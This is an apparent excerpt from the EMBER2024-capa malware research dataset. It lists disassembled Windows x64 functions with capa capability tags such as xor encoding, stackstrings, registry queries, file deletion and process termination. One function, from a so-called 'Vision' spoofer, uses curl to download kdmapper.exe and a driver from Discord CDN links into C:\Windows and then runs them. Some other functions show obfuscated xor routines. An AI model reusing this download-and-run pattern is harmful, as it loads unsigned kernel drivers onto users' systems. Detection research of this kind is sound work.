joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800035a0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x180
movaps xmmword [r11 - 0x48], xmm6
mov rax, qword [0x180035028]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov r14, r9
mov rbx, r8
mov rdi, rdx
mov byte [rsp + 0x20], 0
xorps xmm0, xmm0
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
mov r8, qword [rcx + 0x10]
mov eax, 0x20
cmp r8, rax
cmovae r8, rax
lea esi, [rax - 0x10]
cmp qword [rcx + 0x18], rsi
jb 0x180003603
mov rcx, qword [rcx]
test r8, r8
je 0x180003641
test rcx, rcx
je 0x180003631
cmp r8, rax
ja 0x180003624
mov rdx, rcx
lea rcx, [rsp + 0x140]
call fcn.1800129b0
jmp 0x180003641
call fcn.180019598
mov dword [rax], 0x22
jmp 0x18000363c
call fcn.180019598
mov dword [rax], 0x16
call fcn.180016bb4
xorps xmm6, xmm6
movups xmmword [rsp + 0x130], xmm6
mov r8, qword [rbx + 0x10]
cmp r8, rsi
cmovae r8, rsi
cmp qword [rbx + 0x18], rsi
jb 0x180003660
mov rbx, qword [rbx]
test r8, r8
je 0x1800036a6
test rbx, rbx
je 0x180003696
cmp r8, rsi
ja 0x180003689
mov rdx, rbx
lea rcx, [rsp + 0x130]
call fcn.1800129b0
movups xmm6, xmmword [rsp + 0x130]
jmp 0x1800036a6
call fcn.180019598
mov dword [rax], 0x22
jmp 0x1800036a1
call fcn.180019598
mov dword [rax], 0x16
call fcn.180016bb4
mov r12, qword [rdi + 0x10]
mov eax, r12d
and eax, 0xf
mov ecx, eax
mov r13d, esi
sub r13d, eax
mov r15, rsi
sub r15, rcx
lea r8, [r15 + r12]
mov rbx, qword [r14 + 8]
mov rdx, qword [r14]
mov rcx, rbx
sub rcx, rdx
cmp r8, rcx
jae 0x1800036da
lea rbx, [rdx + r8]
jmp 0x180003709
jbe 0x18000370d
mov rax, qword [r14 + 0x10]
sub rax, rdx
cmp r8, rax
jbe 0x1800036f9
mov rdx, r8
mov rcx, r14
call fcn.180003bdc
mov rbx, qword [r14 + 8]
jmp 0x18000370d
sub r8, rcx
mov rcx, rbx
add rbx, r8
xor edx, edx
call fcn.1800125a0
mov qword [r14 + 8], rbx
mov rsi, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x18000371b
mov rdi, qword [rdi]
mov rcx, qword [r14]
sub rbx, rcx
test rsi, rsi
je 0x180003773
test rcx, rcx
jne 0x180003738
call fcn.180019598
mov dword [rax], 0x16
jmp 0x18000376e
test rdi, rdi
je 0x18000374f
cmp rbx, rsi
jb 0x18000374f
mov r8, rsi
mov rdx, rdi
call fcn.1800129b0
jmp 0x180003773
mov r8, rbx
xor edx, edx
call fcn.1800125a0
test rdi, rdi
je 0x18000372b
cmp rbx, rsi
jae 0x180003773
call fcn.180019598
mov dword [rax], 0x22
call fcn.180016bb4
mov rcx, qword [r14]
add rcx, r12
mov r8, r15
mov edx, r13d
call fcn.1800125a0
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x30]
call fcn.180003830
movdqu xmmword [rsp + 0x120], xmm6
mov rsi, qword [r14]
mov rax, qword [r14 + 8]
sub rax, rsi
mov edi, eax
lea rdx, [rsp + 0x120]
mov ebx, 1
test eax, eax
je 0x1800037f8
dec rdi
shr rdi, 4
add rdi, rbx
mov rcx, rsi
sub rdx, rsi
mov r8d, 0x10
mov al, byte [rdx + rcx]
xor byte [rcx], al
add rcx, rbx
sub r8, rbx
jne 0x1800037d2
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1800039d4
mov rdx, rsi
add rsi, 0x10
sub rdi, rbx
jne 0x1800037c6
mov byte [rsp + 0x20], bl
jmp 0x180003802
mov al, bl
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180010280
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000663c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x180035028]
xor rax, rsp
mov qword [rbp + 0x47], rax
movups xmm0, xmmword [rcx]
mov rbx, rdx
mov rdi, rcx
movups xmm1, xmmword [rcx + 0x10]
mov qword [rbp - 0x39], rdx
movups xmmword [rbp - 0x31], xmm0
mov word [rbp - 0x56], 0x3433
movups xmmword [rbp - 0x21], xmm1
mov dword [rbp - 0x4c], 0x666564
mov word [rbp - 0x59], 0x3130
mov word [rbp - 0x51], 0x3938
mov word [rbp - 0x4e], 0x6362
mov word [rbp - 0x53], 0x3736
mov byte [rbp - 0x4f], 0x61
mov byte [rbp - 0x57], 0x32
mov byte [rbp - 0x54], 0x35
call fcn.1800064e4
xor edx, edx
lea r8, [rbp - 0x31]
sub r8, rdi
lea r9d, [rdx + 8]
mov ecx, dword [rdi]
mov eax, ecx
shr rax, 0x1c
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 9], al
mov eax, ecx
shr rax, 0x18
and eax, 0xf
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 8], al
mov eax, ecx
shr rax, 0x14
and eax, 0xf
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 7], al
mov eax, ecx
shr rax, 0x10
and eax, 0xf
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 6], al
mov eax, ecx
shr rax, 0xc
and eax, 0xf
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 5], al
mov eax, ecx
shr rax, 8
and eax, 0xf
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 4], al
mov eax, ecx
shr rax, 4
and ecx, 0xf
and eax, 0xf
mov al, byte [rbp + rax - 0x59]
mov byte [rbp + rdx - 3], al
mov al, byte [rbp + rcx - 0x59]
mov byte [rbp + rdx - 2], al
add rdx, 8
mov eax, dword [r8 + rdi]
mov dword [rdi], eax
lea rdi, [rdi + 4]
sub r9, 1
jne 0x1800066bd
cmp rdx, 0x41
jae 0x1800067b1
xorps xmm0, xmm0
mov byte [rbp + rdx - 9], r9b
movups xmmword [rbx], xmm0
and qword [rbx + 0x10], r9
lea rax, [rbp - 9]
and qword [rbx + 0x18], r9
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180006777
lea rdx, [rbp - 9]
mov rcx, rbx
call fcn.180001a4c
mov rax, rbx
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.180010280
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180010418
int3

Function at 0x1800067b8
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rax, r8
xor ecx, ecx
mov rdi, rdx
mov r8, r9
mov rdx, rax
mov qword [rbx + 0x20], rcx
mov qword [rbx + 0x28], rcx
mov rcx, rbx
mov dword [rbx], 0x6a09e667
mov dword [rbx + 4], 0xbb67ae85
mov dword [rbx + 8], 0x3c6ef372
mov dword [rbx + 0xc], 0xa54ff53a
mov dword [rbx + 0x10], 0x510e527f
mov dword [rbx + 0x14], 0x9b05688c
mov dword [rbx + 0x18], 0x1f83d9ab
mov dword [rbx + 0x1c], 0x5be0cd19
call fcn.180006410
mov rdx, rdi
mov rcx, rbx
call fcn.18000663c
mov rbx, qword [rsp + 0x40]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x180007af4
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0xb88]
sub rsp, 0xc80
mov rax, qword [0x180035028]
xor rax, rsp
mov qword [rbp + 0xb70], rax
mov rdi, rcx
mov qword [rsp + 0x58], rcx
and dword [rsp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov dword [rsp + 0x30], 1
mov ebx, 0x800
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1800125a0
mov dword [rsp + 0x68], ebx
mov edx, 0x10d
lea rcx, [rsp + 0x38]
call fcn.18000884c
nop
cmp qword [rax + 0x18], 0x10
jb 0x180007b85
mov rax, qword [rax]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov r9d, 0x101
mov rdx, rax
call fcn.180006f80
test eax, eax
sete bl
mov esi, 0x1000
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x180007be0
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x180007bdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007d23
call fcn.1800102a0
test bl, bl
je 0x180007cf2
mov edx, 0x114
lea rcx, [rsp + 0x38]
call fcn.18000884c
cmp qword [rax + 0x18], 0x10
jb 0x180007c01
mov rax, qword [rax]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, eax
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x180007c64
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x180007c5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007d1d
call fcn.1800102a0
test ebx, ebx
jne 0x180007ce7
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x770]
call fcn.1800125a0
mov r8d, dword [rsp + 0x68]
lea rdx, [rbp + 0x770]
lea rcx, [rsp + 0x70]
call fcn.180007a44
lea rax, [rbp + 0x770]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x180007c9d
cmp rbx, qword [rdi + 0x18]
ja 0x180007cd5
mov rsi, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x180007cb9
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rbx
mov r8, rbx
lea rdx, [rbp + 0x770]
mov rcx, rsi
call fcn.1800129b0
mov byte [rsi + rbx], 0
jmp 0x180007ce7
lea r9, [rbp + 0x770]
mov rdx, rbx
mov rcx, rdi
call fcn.1800029a8
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rbp + 0xb70]
xor rcx, rsp
call fcn.180010280
lea r11, [rsp + 0xc80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180016bd4
int3
call fcn.180016bd4
int3
Function at 0x18000c5cc
Capabilities:
Check if file exists
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x18], 8
mov rbx, rcx
jb 0x18000c5e3
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x18000c61f
mov edi, 1
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x18000c5ff
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000c61f
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x78
jl 0x18000c5f2
xor al, al
jmp 0x18000c621
mov al, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000c780
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1d8]
sub rsp, 0x2b0
mov rax, qword [0x180035028]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, rcx
xor r12d, r12d
mov dil, r12b
call fcn.18000233c
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000c9f8
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], r12w
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.18000c62c
lea r14, [rbp + 0x160]
mov r8, qword [rbp + 0x160]
cmp qword [rbp + 0x178], 8
cmovae r14, r8
lea rcx, [rbp + 0x160]
cmovae rcx, r8
mov rax, qword [rbp + 0x170]
lea r15, [rcx + rax*2]
lea rbx, [rbp + 0x160]
cmovae rbx, r8
cmp rbx, r15
je 0x18000c85e
sub r14, rbx
movzx ecx, word [rbx]
call fcn.180019304
mov word [r14 + rbx], ax
add rbx, 2
cmp rbx, r15
jne 0x18000c848
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x24]
call fcn.1800125a0
mov dword [rsp + 0x20], 0x238
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.18000227c
mov r13d, 1
jmp 0x18000c9da
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
lea rax, [rsp + 0x4c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r12w
jne 0x18000c8b1
lea rdx, [rsp + 0x4c]
lea rcx, [rbp + 0x180]
call fcn.180008728
nop
lea r14, [rbp + 0x180]
mov r8, qword [rbp + 0x198]
cmp r8, 8
setae cl
mov rdx, qword [rbp + 0x180]
cmovae r14, rdx
lea rax, [rbp + 0x180]
test cl, cl
cmovne rax, rdx
mov r9, qword [rbp + 0x190]
lea r15, [rax + r9*2]
lea rbx, [rbp + 0x180]
cmovne rbx, rdx
cmp rbx, r15
je 0x18000c943
sub r14, rbx
movzx ecx, word [rbx]
call fcn.180019304
mov word [r14 + rbx], ax
add rbx, 2
cmp rbx, r15
jne 0x18000c918
mov r8, qword [rbp + 0x198]
mov r9, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x180]
cmp r8, 8
cmovae rcx, rdx
lea r8, [rbp + 0x160]
cmp qword [rbp + 0x178], 8
cmovae r8, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x170]
cmp rdx, r9
jne 0x18000c9c1
test rdx, rdx
je 0x18000c990
sub r8, rcx
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x18000c9c1
add rcx, 2
sub rdx, r13
jne 0x18000c97d
mov r8d, dword [rsp + 0x28]
call fcn.1800023f4
mov rbx, rax
test rax, rax
je 0x18000c9c1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movzx edi, dil
cmp eax, r13d
cmove edi, r13d
mov rcx, rbx
call fcn.1800020f8
nop
lea rcx, [rbp + 0x180]
call fcn.18000267c
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.1800021bc
cmp eax, r13d
je 0x18000c890
mov rcx, rsi
call fcn.1800020f8
nop
lea rcx, [rbp + 0x160]
call fcn.18000267c
mov al, dil
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.180010280
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x18000f00c
Capabilities:
Check if file exists
Delete file

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov rax, qword [0x180035028]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor esi, esi
xorps xmm0, xmm0
or rbx, 0xffffffffffffffff
mov qword [rbp + 0x17], rsi
mov r8, rbx
mov qword [rbp + 0x1f], rsi
mov rdi, rcx
movups xmmword [rbp + 7], xmm0
inc r8
cmp word [rcx + r8*2], si
jne 0x18000f050
mov rdx, rdi
lea rcx, [rbp + 7]
call fcn.180008728
cmp qword [rbp + 0x1f], 8
lea rdx, [rbp + 7]
mov r9, qword [rbp + 0x17]
xorps xmm0, xmm0
cmovae rdx, qword [rbp + 7]
movdqa xmm1, xmmword [0x180030f90]
movups xmmword [rbp + 0x27], xmm0
mov word [rbp + 0x27], si
movdqu xmmword [rbp + 0x37], xmm1
test r9, r9
je 0x18000f0c1
lea rcx, [r9 - 1]
mov rax, rbx
cmp rcx, rbx
cmovb rax, rcx
lea r8, [rdx + rax*2]
jmp 0x18000f0b2
cmp r8, rdx
je 0x18000f0c1
sub r8, 2
cmp word [r8], 0x5c
jne 0x18000f0a9
sub r8, rdx
sar r8, 1
jmp 0x18000f0c4
mov r8, rbx
cmp r8, rbx
je 0x18000f10c
cmp r9, r8
lea rdx, [rbp + 7]
xorps xmm0, xmm0
lea rcx, [rbp - 0x19]
cmovb r8, r9
xorps xmm1, xmm1
cmp qword [rbp + 0x1f], 8
movups xmmword [rbp - 0x19], xmm0
cmovae rdx, qword [rbp + 7]
movdqu xmmword [rbp - 9], xmm1
call fcn.180008728
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x27]
call fcn.18000da44
lea rcx, [rbp - 0x19]
call fcn.18000267c
mov ebx, esi
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x18000f138
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 3
jl 0x18000f10e
jmp 0x18000f14c
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x27]
call fcn.18000d0e0
lea rcx, [rbp + 0x27]
call fcn.18000267c
lea rcx, [rbp + 7]
call fcn.18000267c
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.180010280
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x18000f9b4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18000fa38
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800275b0]
cmp byte [rcx + rax], 0
je 0x18000fa38
dec r8
sub rdx, 1
jne 0x18000fa1e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x18001f5d4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001f604
xor eax, eax
jmp 0x18001f6c7
mov rbp, rbx
cmp word [rax], si
je 0x18001f629
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001f610
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001f60c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18001f524
movsxd r14, eax
test eax, eax
jne 0x18001f667
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001f5fd
mov rcx, r14
call fcn.18001b7a0
mov rdi, rax
test rax, rax
jne 0x18001f680
xor ecx, ecx
call fcn.18001b764
jmp 0x18001f65c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18001f524
test eax, eax
jne 0x18001f6b1
mov rcx, rdi
call fcn.18001b764
jmp 0x18001f6bb
xor ecx, ecx
call fcn.18001b764
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180025840
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180025868
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180025868
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Vision__n
call fcn.1400010d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Spoofing...__n
call fcn.1400010d0
mov edx, 0x7d0
lea ecx, [rdx + 0x17]
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1165253617733877851_1165254260292849725_kdmapper.exe__o_C:Windowskdmapper.exe___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1164609473734783026_1165248622313615391_lau4.sys__o_C:Windowslau4.sys___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowskdmapper.exe_C:Windowslau4.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Spoofed_n
call fcn.1400010d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.enjoy___vision_n
call fcn.1400010d0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Closing..._n
call fcn.1400010d0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003454]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001bfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c46
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c48
xor al, al
add rsp, 0x28
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x180a181f6
Capabilities:
Encode data using xor

Disassembly:
add rbx, 0xc
xor eax, eax
jmp 0x180a43dff
mov qword [rsp], 0xffffffffb5248fad
test r9, r9
lea rsp, [rsp + 8]
je 0x180a43e91
push 0xffffffffea0ae781
mov qword [rsp], rdi
mov edi, 0x3635bc9b
movsx ecx, di
lea rcx, [0x180a32320]
mov edi, 0xae1f873f
rol dil, 0xa5
movzx edi, byte [r8]
push 0x62ad734
xor edi, eax
push 0xffffffffaa322d32
and edi, 0xff
mov edi, dword [rcx + rdi*4]
shr eax, 8
dec word [rsp + 9]
xor eax, edi
sar dword [rsp + 3], 0xd
inc r8
inc word [rsp + 9]
xor eax, 0x5d82641a
dec r9
push 0xfffffffff418769d
lea rsp, [rsp + 0x18]
jne 0x180a43e2d
push 0x18a49582
not byte [rsp + 6]
mov rdi, qword [rsp + 8]
lea rsp, [rsp + 0x10]
push 0x2fbb7c87
jmp 0x180a1649f

Function at 0x180a29d26
Capabilities:
Encode data using xor

Disassembly:
mov rbx, qword [rsp + 8]
lea rsp, [rsp + 0x10]
push 0x763a042c
not ebp
mov dword [rsi], ebp
call fcn.180a0ccdc
mov r11d, 0x15a3dfa9
mov r11d, dword [r10 + r11*2 - 0x2b47bf52]
add r10, 4
jmp 0x180a3ca5f
lea rsp, [rsp + 0x20]
je 0x180a1ce93
mov r8d, 0xa3a3a187
or r8b, r8b
lea r8, [r8 + r8*8 - 0x6d406e53]
push rbx
lea r8, [0x180a3ae38]
mov ebx, 0x558c5f31
movzx ebx, byte [rbx + rcx - 0x558c5f31]
push 0x723a8395
xor ebx, ebp
and ebx, 0xff
mov ebx, dword [r8 + rbx*4]
shr ebp, 8
xor ebp, ebx
inc rcx
xor ebp, 0x4ba0ada8
dec r11
not byte [rsp + 7]
lea rsp, [rsp + 8]
jne 0x180a29d4a
push 0x720f0081
jmp 0x180a1ce89
rol r11d, 1
rol word [rsp + 6], 0x44
dec r11d
sar dword [rsp + 2], 0xc9
rol r11d, 3
push 0x6cb5f91a
neg r11d
call fcn.180a40ccd
push 0x493c419d
xor r11d, ebx
inc r11d
jmp 0x180a3a423
Function at 0x140002be0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003da0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003da0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400080a4]
mov rbx, rcx
test esi, esi
jle 0x140002d80
mov rax, qword [0x1400080a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002c9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002d25
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002c80
mov rcx, rbx
call fcn.1400036a0
mov rdi, rax
test rax, rax
je 0x140002da2
mov rax, qword [0x1400080a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400037e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400080a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002d87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002d1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002d30
add dword [0x1400080a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400080a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002d1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002be0
nop dword [rax]
xor esi, esi
jmp 0x140002ca8
